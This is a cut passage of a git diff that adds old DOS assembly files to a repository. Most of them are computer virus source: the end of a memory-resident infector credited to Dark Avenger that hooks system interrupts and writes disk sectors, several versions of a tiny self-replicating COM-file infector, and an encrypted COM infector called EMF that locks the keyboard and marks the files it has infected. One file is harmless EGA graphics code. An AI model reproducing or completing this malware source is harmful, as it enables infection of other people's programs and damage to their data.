si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21; INT 21h INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ; + lodsw ;( DOS 2.x ) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; . path- +; , . +; + DOS , +; , - . + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ; 15 + jnz store_sec ; + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + +; - , +; ( ) + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ; + iret + +; INT 27h ( ) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; DOS- Set & Get Vector +; ( +; "" ) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h. +; , , . +; 0 26h . + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0; 0 + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ; + jne dont_touch ; +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; .COM .EXE. . + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; lowercase ( ). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; INT 21h ( ). + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; . + +do_file: + push ds ; + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ; INT 13h INT 24h + push es ; + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ; Read-only + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ; + call function ; + jc cant_open + mov bx,ax + call disease + mov ah,3eh ; + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ; , + call function ; ( ) +no_update: + xor ax,ax ; INT 13h INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ; + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; . + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ; + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ; + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ; top_file + sbb dx,0 + jc stop_fuck_2 ; + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ; + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ; .COM + adc dx,0 + je fuck_it + ret + +; .EXE . . + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ; + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ; , + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ; + movsb ; + movsw ; .EXE + xor dx,dx + mov cx,offset top_file + mov ah,40h + int 21h ; + jc go_no_fuck ;( ) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; header- .EXE + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ; +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ; + int 21h +stop_fuck: + ret + +; INT 21h INT 27h +; , +; . +; . + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; , +; INT 21h ( ). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; INT 21h, +; . INT 27h . + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; , + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h. +; BIOS, . + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- +disk: + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ; SS:SP +my_save: + int 20h ; + nop ;3 +top_file: ;--- +filehndl equ $ +filename equ filehndl+2 ; +save_int_27 equ filename+65 ; INT 27h +save_int_21 equ save_int_27+4 ; INT 21h +aux_size equ save_int_21+4 ;--- +top_save equ save_int_21+4 ; , : + ; - 24 + ; - (4 ) + ; - + ; ( my_size) +top_bz equ top_save-copyright +my_bz equ my_size-copyright +code ends + end + \ No newline at end of file diff --git a/e/EE3.ASM b/e/EE3.ASM new file mode 100755 index 0000000..51f9d4c --- /dev/null +++ b/e/EE3.ASM @@ -0,0 +1,121 @@ +; The Eem-DOS 5-Voorde Virus version 2.0 +; +; Smallest (101 bytes) COM file infector which works with te folowing +; principe: +; +; Before: +; _____________________ ____________ +; [first 3 bytes of file][rest of file] +; +; After: +; ____________ ____________ _____ _____________________ +; [jmp to virus][rest of file][virus][first 3 bytes of file] +; +; This way the virus can restore the first 3 bytes of the file so +; the file will still work. +; +; If you want no registers to change you can add some pushes, but +; it'll make the virus much larger..... +; +; (C)1993 by [DRkRY] / TridenT +; +; BTW This is only a educational source, and this virus should not be +; spread, you may publish this file in it's original form. +; If you intend to spread this virus you will take all the responsibilities +; on youself so the author will not get into trubble. +; If you do not agree with this, destroy this file now. +; +_CODE SEGMENT + ASSUME CS:_CODE + + ORG 100h + + LEN EQU THE_END - VX ; This bab's length + +START: + DB 0E9h,0,0 ; Jump te virus. (carrier + ; program) +VX: + mov si,100H + PUSH SI ; Put 100h in DI and save + PUSH SI ; it as return point. + POP DI ; + + CALL RELATIVE ; +RELATIVE: ; Calculate where the old 3 + POP SI ; bytes are stored. + ADD SI,(OLD_BYTES - RELATIVE) ; + + PUSH SI ; Save it for later. + +; MOV CL,3 ; Restore the first 3 bytes. +; REP MOVSB ; + xor cl,cl + movsw + movsb + + MOV DX,SI ; Set DX to file spec. + + POP SI ; Restore SI + + DEC AX ; +AGAIN: ADD AH,4Fh ; Search for (next) file + INT 21h ; and exit if non found. + JC EXIT ; + + MOV DI,SI ; Put SI in DI + + MOV AH,3Eh ; Close open file. (also + CALL OPEN ; nice anti-debug trick!) + + MOV AH,3Fh ; Read first 3 bytes. + CALL IO ; + + CMP BYTE PTR [DI],0E9h ; Next file if first instr. + JE AGAIN ; is a JMP FAR. (marker) + + MOV AX,4202h ; + XOR CX,CX ; Goto EOF. + CWD ; + INT 21h ; + + SUB AX,3 ; + ADD DI,8 ; Set JMP to virus. + MOV WORD PTR DS:[DI],AX ; + + MOV AH,40h ; + MOV CL,LEN ; Write virus and open + MOV DX,DI ; file again. + SUB DX,(OLD_BYTES - VX) + 8 ; + CALL OPEN ; + + DEC DI ; Write JMP + MOV AH,40h ; +IO: + MOV CL,3 ; + MOV DX,DI ; Read or write 3 bytes. + INT 21h ; +EXIT: + RET ; Start carrier program. + +OPEN: + INT 21h ; + MOV AX,3D02h ; + MOV DX,9Eh ; Open file. + INT 21h ; + XCHG BX,AX ; + RET + +OLD_BYTES: NOP ; + NOP ; First 3 bytes of carrier + RET ; program. + +FILE_NAME: DB '*.*',0h ; File to search for (all) + +NEW_BYTES DB 0E9h ; JMP to virus buffer. + +THE_END: + +_CODE ENDS + END START + \ No newline at end of file diff --git a/e/EEMVOOR1.ASM b/e/EEMVOOR1.ASM new file mode 100755 index 0000000..ced8e81 --- /dev/null +++ b/e/EEMVOOR1.ASM @@ -0,0 +1,123 @@ +; The Eem-DOS 5-Voorde Virus +; +; Smallest COM file infector which works with te folowing principe: +; +; Before: +; _____________________ ____________ +; [first 3 bytes of file][rest of file] +; +; After: +; ____________ ___________________ _____________________ +; [jmp to virus][rest of file][virus][first 3 bytes of file] +; +; This way the virus can restore the first 3 bytes of the file so +; the file will still work. +; +; If you want no registers to change you can add some pushes, but +; it'll make the virus much larger..... +; +; (C)1993 by [DRkRY] / TridenT +; +; BTW This is only a educational source, and this virus should not be +; spread, you may publish this file in it's original form. +; If you intend to spread this virus you will take all the responsibilities +; on youself so the author will not get into trubble. +; If you do not agree with this, destroy this file now. +; +; You can reach me by contacting Byte Hunter. at Hunter BBS (he's the sysop) +; +31-33-634415, and he'll get you in touch with me... +; + +_CODE SEGMENT + ASSUME CS:_CODE + + ORG 100h + + LEN EQU THE_END - VX ; Length of this babe... + +START: + DB 0E9h,0,0 ; Jmp to virus +VX: + CALL RELATIVE ; +RELATIVE: ; Calculate relative offset + POP BP ; + SUB BP,OFFSET RELATIVE ; + + MOV DI,SI ; Make DI = 100h and save + PUSH DI ; it as return point. + + LEA SI,[BP + OLD_BYTES] ; + MOV CL,3 ; Restore old first bytes. + REP MOVSB ; + + MOV DX,SI ; Set DX to filespec. + DEC AX ; Make AX=-1 + +AGAIN: ADD AH,4Fh ; + INT 21h ; Search for file(s) + JNC OK_1 ; If non left exit. + RET ; +OK_1: + MOV AH,3Eh ; Close old file, also nice + INT 21h ; anti-debug trick!!!! + + MOV DI,SI ; Set DI to save old bytes + SUB DI,3 ; + + CALL OPEN ; Open the victim + + MOV AH,3Fh ; Save first 3 bytes + CALL IO ; + + CMP BYTE PTR [DI],0E9h ; Is it allready infected? + JE AGAIN ; If so, find next + + MOV AX,4202h ; + XOR CX,CX ; Set pointer to end of file + CWD ; + INT 21h ; + + SUB AX,3 ; + ADD DI,8 ; Set jump to virus + MOV WORD PTR DS:[DI],AX ; + + MOV AH,40h ; + MOV CL,LEN ; Write virus + LEA DX,[BP + VX] ; + INT 21h ; + + CALL OPEN ; Open victim again + + MOV AH,40h ; + DEC DI ; Write jmp to virus + CALL IO ; + + RET ; Return to DOS + +IO: + MOV CL,3 ; + MOV DX,DI ; Read or write sub + INT 21h ; + RET ; + +OPEN: + MOV AX,3D02h ; + MOV DX,9Eh ; Open file in PSP for + INT 21h ; reading/writing + XCHG BX,AX ; + RET ; + +OLD_BYTES: NOP ; + NOP ; Old first bytes of file + RET ; + +FILE_NAME: DB '*.*',0h ; Infect all files. + ; (and COM files will also + ; be infected....) + +NEW_BYTES DB 0E9h ; Jmp to virus + +THE_END: ; Bye Bye! + +_CODE ENDS + END START diff --git a/e/EEMVOOR2.ASM b/e/EEMVOOR2.ASM new file mode 100755 index 0000000..652bde5 --- /dev/null +++ b/e/EEMVOOR2.ASM @@ -0,0 +1,117 @@ +; The Eem-DOS 5-Voorde Virus version 2.0 +; +; Smallest (101 bytes) COM file infector which works with te folowing +; principe: +; +; Before: +; _____________________ ____________ +; [first 3 bytes of file][rest of file] +; +; After: +; ____________ ____________ _____ _____________________ +; [jmp to virus][rest of file][virus][first 3 bytes of file] +; +; This way the virus can restore the first 3 bytes of the file so +; the file will still work. +; +; If you want no registers to change you can add some pushes, but +; it'll make the virus much larger..... +; +; (C)1993 by [DRkRY] / TridenT +; +; BTW This is only a educational source, and this virus should not be +; spread, you may publish this file in it's original form. +; If you intend to spread this virus you will take all the responsibilities +; on youself so the author will not get into trubble. +; If you do not agree with this, destroy this file now. +; +_CODE SEGMENT + ASSUME CS:_CODE + + ORG 100h + + LEN EQU THE_END - VX ; This bab's length + +START: + DB 0E9h,0,0 ; Jump te virus. (carrier + ; program) +VX: + PUSH SI ; Put 100h in DI and save + PUSH SI ; it as return point. + POP DI ; + + CALL RELATIVE ; +RELATIVE: ; Calculate where the old 3 + POP SI ; bytes are stored. + ADD SI,(OLD_BYTES - RELATIVE) ; + + PUSH SI ; Save it for later. + + MOV CL,3 ; Restore the first 3 bytes. + REP MOVSB ; + + MOV DX,SI ; Set DX to file spec. + + POP SI ; Restore SI + + DEC AX ; +AGAIN: ADD AH,4Fh ; Search for (next) file + INT 21h ; and exit if non found. + JC EXIT ; + + MOV DI,SI ; Put SI in DI + + MOV AH,3Eh ; Close open file. (also + CALL OPEN ; nice anti-debug trick!) + + MOV AH,3Fh ; Read first 3 bytes. + CALL IO ; + + CMP BYTE PTR [DI],0E9h ; Next file if first instr. + JE AGAIN ; is a JMP FAR. (marker) + + MOV AX,4202h ; + XOR CX,CX ; Goto EOF. + CWD ; + INT 21h ; + + SUB AX,3 ; + ADD DI,8 ; Set JMP to virus. + MOV WORD PTR DS:[DI],AX ; + + MOV AH,40h ; + MOV CL,LEN ; Write virus and open + MOV DX,DI ; file again. + SUB DX,(OLD_BYTES - VX) + 8 ; + CALL OPEN ; + + DEC DI ; Write JMP + MOV AH,40h ; +IO: + MOV CL,3 ; + MOV DX,DI ; Read or write 3 bytes. + INT 21h ; +EXIT: + RET ; Start carrier program. + +OPEN: + INT 21h ; + MOV AX,3D02h ; + MOV DX,9Eh ; Open file. + INT 21h ; + XCHG BX,AX ; + RET + +OLD_BYTES: NOP ; + NOP ; First 3 bytes of carrier + RET ; program. + +FILE_NAME: DB '*.*',0h ; File to search for (all) + +NEW_BYTES DB 0E9h ; JMP to virus buffer. + +THE_END: + +_CODE ENDS + END START + \ No newline at end of file diff --git a/e/EGAGRAFA.ASM b/e/EGAGRAFA.ASM new file mode 100755 index 0000000..b62463a --- /dev/null +++ b/e/EGAGRAFA.ASM @@ -0,0 +1,172 @@ +; +; grafix --- egagrafa.asm +; +; stuff to plot points fast in 8086 assembler (BLEECH!!!) +; +; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet) +; +; Modified 5/29/87 by sss to allow for different memory models +; + + title egagrafa + +include macros.ah + +sseg +endss + +g_linsiz equ 80 +g_pixbyte equ 8 +ega_gr_data equ 03cfh + +dseg + + ex g_drawbuf, dword + ex g_xor, word + ex g_xcliplo, word + ex g_xcliphi, word + ex g_ycliplo, word + ex g_ycliphi, word + +endds + + exProc EGA_point_set + exProc EGA_point_res + +cseg _egagrafa + +EGA_plot label byte ; to get accurate profiling data + +; plot a point. ax = y; bl = c; cx = x; + +pBegin plot + + les si, g_drawbuf ; get address of buffer + mov dx, g_linsiz ; y * g_linsiz + mul dx + add si, ax ; add to offset + mov ax, cx ; x to AC (ohhh... what symmetry!) + mov cx, g_pixbyte ; move it to use it... + div cx + add si, ax ; add quotient to offset (now complete) + mov al, 80h ; make mask + mov cx, dx + shr ax, cl ; shift it + mov dx, ega_gr_data ; shove it out to the mask register + out dx, al + mov al, es:[si] ; read data into latches + mov es:[si], al ; and do a write + ret + +pEnd plot + +; +; C interface for point plotter +; +; EGA_point(x, y, c) +; + +pBegin EGA_point + + push bp + mov bp, sp + push si + push di + + push [bp+argbase+4] ; call setup routine + call EGA_point_set + add sp, 2 + + mov ax, [bp+argbase+2] + mov bx, [bp+argbase+4] + mov cx, [bp+argbase] + call plot + + call EGA_point_res ; reset EGA + + pop di + pop si + mov sp, bp + pop bp + ret + +pEnd EGA_point + +; +; write for pixels for circle drawing +; +; void EGA_write_pix(x1, y1, x2, y2, c) +; +; can just ignore color here 'cause that's all setup at setup time... +; + +pBegin EGA_write_pix + + push bp + mov bp, sp + push si + push di + + mov cx, [bp+argbase] ; cx = x1 + cmp cx, g_xcliplo ; check for clipping + jb w2 + cmp cx, g_xcliphi + ja w2 + + mov ax, [bp+argbase+2] ; ax = y1 + cmp ax, g_ycliplo ; do clipping + jb w1 + cmp ax, g_ycliphi + ja w1 + + push cx ; plot (x1, y1) + call plot + pop cx + +w1: mov ax, [bp+argbase+6] ; ax = y2 + cmp ax, g_ycliplo + jb w2 + cmp ax, g_ycliphi + ja w2 + + call plot ; plot (x1, y2) + +w2: mov cx, [bp+argbase+4] ; cx = x2 + cmp cx, g_xcliplo + jb w4 + cmp cx, g_xcliphi + ja w4 + + mov ax, [bp+argbase+2] ; ax = y1 + cmp ax, g_ycliplo ; do clipping + jb w3 + cmp ax, g_ycliphi + ja w3 + + push cx ; plot (x2, y1) + call plot + pop cx + +w3: mov ax, [bp+argbase+6] ; ax = y2 + cmp ax, g_ycliplo + jb w4 + cmp ax, g_ycliphi + ja w4 + + call plot ; plot (x2, y2) + +w4: pop di + pop si + mov sp, bp + pop bp + ret + +pEnd EGA_write_pix + + df_ EGA_point + df_ EGA_write_pix + df_ EGA_plot + +endcs _egagrafa + +end diff --git a/e/EMF.ASM b/e/EMF.ASM new file mode 100755 index 0000000..efdcdbc --- /dev/null +++ b/e/EMF.ASM @@ -0,0 +1,271 @@ + +DATA SEGMENT +ORG 100H +DATA ENDS + +; The EMF virus (c)1991 by Lazarus Long, Inc. +; The author assumes no responsibility for any damage incurred +; from the execution of this file, intentional or not +; + + +START: + JMP VIRUS_START + +ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is + ;Encrypted by + +;------------------------------------------------------------------------------; +;The code from here to ENC_START is always unencrypted and SCAN would be able ; +;to find it. Maybe a quick look at V2P7 would be in order (Hint,Hint!) ; +;------------------------------------------------------------------------------; + +VIRUS_START: + CALL NEXT_STEP +NEXT_STEP: + POP BP ;All actions relative to BP, + + IN AL,21H ;Lock out keyboard + PUSH AX + OR AL,2 + OUT 21H,AL + + + MOV CX,ENC_LENGTH ;Number of bytes to decrypt ;cause offsets + + LEA SI,[BP+OFFSET ENC_START-NEXT_STEP] ;Offset of data to decrypt ;change in infected files + MOV DL,[103H] ;Byte to decrypt with + + CALL CRYPT ;Decrypt main body of virus + CALL RESTORE_EIGHT + JMP SAVE_PSP ;Continue + +INFECT: + CALL CRYPT_WRITE + MOV AH,40H + MOV DX,BP ;Starting from BP-3 + SUB DX,3 ;Which,convienently,is the start + MOV CX,ENC_END-108H ;of our viral code + INT 21H ;Write all of virus + CALL CRYPT_WRITE ;Return and continue + RET + +CRYPT_WRITE: + + MOV CX,ENC_LENGTH ;Number of bytes to decrypt + LEA SI,[BP+ OFFSET ENC_START - NEXT_STEP] ;Address to start decryption + MOV DL,[0FBH] ;Byte to decrypt with + CALL CRYPT + RET + +;******************************************************************************; +;Call this with SI equal to address to XOR,and CX number of bytes to XOR : +; ; +;******************************************************************************; +CRYPT: + XOR BYTE PTR [SI],DL ;XOR it + INC SI ;Increment XOR address + INC DL ;Change encryption key,eh? + NOT DL ;Reverse the key + LOOP CRYPT ;Until CX=0 + RET ;Then return + +;******************************************************************************; +; Save PSP ; +;******************************************************************************; + +ENC_START EQU $ +SAVE_PSP: + MOV AH,30H ;Get DOS version + INT 21H + CMP AL,2 ;Lower than 2? + JNB ABOVE_2 ;No,continue + CALL RESTORE_EIGHT + MOV SI,100H ;If so return + PUSH SI + RET 0FFFFH + +ABOVE_2: + PUSH ES ;Save ES + MOV AX,3524H ;Get INT 24 address + INT 21H + MOV [BP+OLD_B-NEXT_STEP],BX ;Save it + MOV [BP+OLD_E-NEXT_STEP],ES + MOV AH,25H ;Now set it to our own code + LEA DX,[BP+NEW_24-NEXT_STEP] + INT 21H + POP ES ;Restore ES + + MOV CX,128 ;Number of bytes to save + MOV SI,80H ;From 80H. ie the PSP + LEA DI,[BP+ENC_END-NEXT_STEP] ;To the end of our code + PUSH DI ;Save location so we can restore the bytes + REP MOVSB ;Mov'em + +;------------------------------------------------------------------------------; ; +; Find first .COM file that is either Hidden,read-only,system,or archive ; +;------------------------------------------------------------------------------; + + +FIND_FIRST: + + LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.COM,00 + MOV CX,27H ;Find ANY file that fits *.COM + MOV AH,4EH ;Find first matching file + INT 21H + JC QUIT ;If no *.COM files found,quit + JMP SET_ATTRIBS + +FIND_AGAIN: + + LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.com + MOV AH,4FH ;Find next matching file + MOV CX,27H ;Archive,Hidden,Read-only,or System + INT 21H + JC QUIT ;No more files? Then exit + +SET_ATTRIBS: + MOV AX,[096H] ;Get time + AND AL,1EH ;Are the seconds set to 60? + CMP AL,1EH ; + JZ FIND_AGAIN ;If so,assume this file is infected,find another +;------------------------------------------------------------------------------; +; Open file and infect it. ; +; ; +;------------------------------------------------------------------------------; + MOV DX,9EH ;offset into DTA of filename + MOV AX,4301H ;Set file attribs + XOR CX,CX ;To normal file + INT 21H + JC QUIT ;Some sort of error occured,exit now! + MOV AX,3D02H ;Code for open file with read and write + ;access + INT 21H ;DX points to ASCIIZ string of filename + MOV CX,04 ;Read four bytes + MOV BX,AX ;Save handle for future use + MOV DX,0ACH ;Set buffer to end of DTA + MOV AH,3FH ;Read from file + INT 21H + JMP MAKE_HEADER + +QUIT: + JMP DONE + +;------------------------------------------------------------------------------; +; Infect .COM header so it jumps to our viral code ; +;------------------------------------------------------------------------------; +MAKE_HEADER: + MOV [0F9H],[9AH] ;Offset off file size in DTA + MOV [0F8H]B,0E9H ;Code for absolute JMP + SUB WORD PTR [0F9H],2 ;Adjust it just a bit + MOV AX,4200H ;Set file pointer to beginning + ;of file to be infected + XOR CX,CX ;Zero out CX + XOR DX,DX ;Zero out DX + INT 21H + MOV AH,2CH ;Get time + INT 21H + ADD DL,[104H] ;And add to what we had before + MOV [0FBH],DL ;Save that value for our key + MOV AH,40H ;Write to file + MOV DX,0F8H ;Starting at F8 hex + MOV CX,04H ;Write eight bytes + INT 21H + +ERROR: + JC DONE ;Some sort of error? + ;If so,exit +;------------------------------------------------------------------------------; +; Attach our viral code to the end of the target .COM file ; +; ; +;------------------------------------------------------------------------------; + MOV SI,0ACH ;Starting at A9h + MOV CX,04 ;Mov eight bytes + LEA DI,[BP+ORIGINAL_EIGHT-NEXT_STEP];Where to save original eight bytes to + REP MOVSB ;Save infected files original eight bytes + MOV AX,4202H ;Set file pointer to end of file + ;plus 1 + XOR CX,CX ;Zero CX + MOV DX,1 ;Make DX=1 + INT 21H + CALL INFECT ;Encrypt code, write it to file, + ;Decrypt it,and return +;------------------------------------------------------------------------------; +; This restores the files original date and time ; +;------------------------------------------------------------------------------; + + MOV AX,5701H ;Restore original date and time + MOV CX,[96H] ;From what was read in earlier + MOV DX,[98H] + AND CX,0FFE0H + OR CX,01EH ;Change seconds to 60 + INT 21H + MOV AH,3EH ;Close that file + INT 21H + CALL RESTORE_ATTRIBS ;Restore it's attributes + +DONE: +RESTORE_PSP: + PUSH DS ;Save the DS register + MOV DX,[BP+OLD_B-NEXT_STEP]W ;Move the old INT 24's address + MOV DS,[BP+OLD_E-NEXT_STEP]W ;so we can restore it + MOV AX,2524H ;Restore it + INT 21H + POP DS ;Restore the DS register + POP SI ;SI is equal to address we stored + ;our PSP at + MOV DI,80H ;Want to move saved PSP to 80h + MOV CX,128 ;Want to move 128 bytes + REP MOVSB + MOV SI,100H ;Odd sort of jump + POP AX + PUSH SI ;Ends up restoring control to + ;100h + OUT 21H,AL ;Unlock keyboard + RET 0FFFFH ;Pop off all of stack + + RESTORE_EIGHT: + LEA SI,[BP+ORIGINAL_EIGHT-NEXT_STEP] ;Restore original eight bytes so we + ;can RET + MOV DI,100H ;Destination of move + MOV CX,04 ;Move eight bytes + REP 